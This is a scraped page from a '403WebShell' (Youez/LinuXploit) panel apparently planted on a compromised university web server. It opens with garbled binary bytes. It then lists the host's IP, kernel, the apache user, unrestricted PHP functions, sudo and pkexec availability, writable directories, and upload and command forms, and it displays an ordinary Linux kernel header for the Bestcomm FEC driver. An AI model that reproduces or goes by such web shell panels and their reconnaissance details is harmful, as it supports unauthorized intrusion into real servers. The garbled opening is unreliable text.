h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/modules/3.10.0-1160.118.1.el7.x86_64/build/include/linux/fsl/bestcomm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/modules/3.10.0-1160.118.1.el7.x86_64/build/include/linux/fsl/bestcomm/fec.h
/*
 * Header for Bestcomm FEC tasks driver
 *
 *
 * Copyright (C) 2006-2007 Sylvain Munaut <tnt@246tNt.com>
 * Copyright (C) 2003-2004 MontaVista, Software, Inc.
 *                         ( by Dale Farnsworth <dfarnsworth@mvista.com> )
 *
 * This file is licensed under the terms of the GNU General Public License
 * version 2. This program is licensed "as is" without any warranty of any
 * kind, whether express or implied.
 */

#ifndef __BESTCOMM_FEC_H__
#define __BESTCOMM_FEC_H__


struct bcom_fec_bd {
	u32	status;
	u32	skb_pa;
};

#define BCOM_FEC_TX_BD_TFD	0x08000000ul	/* transmit frame done */
#define BCOM_FEC_TX_BD_TC	0x04000000ul	/* transmit CRC */
#define BCOM_FEC_TX_BD_ABC	0x02000000ul	/* append bad CRC */

#define BCOM_FEC_RX_BD_L	0x08000000ul	/* buffer is last in frame */
#define BCOM_FEC_RX_BD_BC	0x00800000ul	/* DA is broadcast */
#define BCOM_FEC_RX_BD_MC	0x00400000ul	/* DA is multicast and not broadcast */
#define BCOM_FEC_RX_BD_LG	0x00200000ul	/* Rx frame length violation */
#define BCOM_FEC_RX_BD_NO	0x00100000ul	/* Rx non-octet aligned frame */
#define BCOM_FEC_RX_BD_CR	0x00040000ul	/* Rx CRC error */
#define BCOM_FEC_RX_BD_OV	0x00020000ul	/* overrun */
#define BCOM_FEC_RX_BD_TR	0x00010000ul	/* Rx frame truncated */
#define BCOM_FEC_RX_BD_LEN_MASK	0x000007fful	/* mask for length of received frame */
#define BCOM_FEC_RX_BD_ERRORS	(BCOM_FEC_RX_BD_LG | BCOM_FEC_RX_BD_NO | \
		BCOM_FEC_RX_BD_CR | BCOM_FEC_RX_BD_OV | BCOM_FEC_RX_BD_TR)


extern struct bcom_task *
bcom_fec_rx_init(int queue_len, phys_addr_t fifo, int maxbufsize);

extern int
bcom_fec_rx_reset(struct bcom_task *tsk);

extern void
bcom_fec_rx_release(struct bcom_task *tsk);


extern struct bcom_task *
bcom_fec_tx_init(int queue_len, phys_addr_t fifo);

extern int
bcom_fec_tx_reset(struct bcom_task *tsk);

extern void
bcom_fec_tx_release(struct bcom_task *tsk);


#endif /* __BESTCOMM_FEC_H__ */


Youez - 2016 - github.com/yon3zu
LinuXploit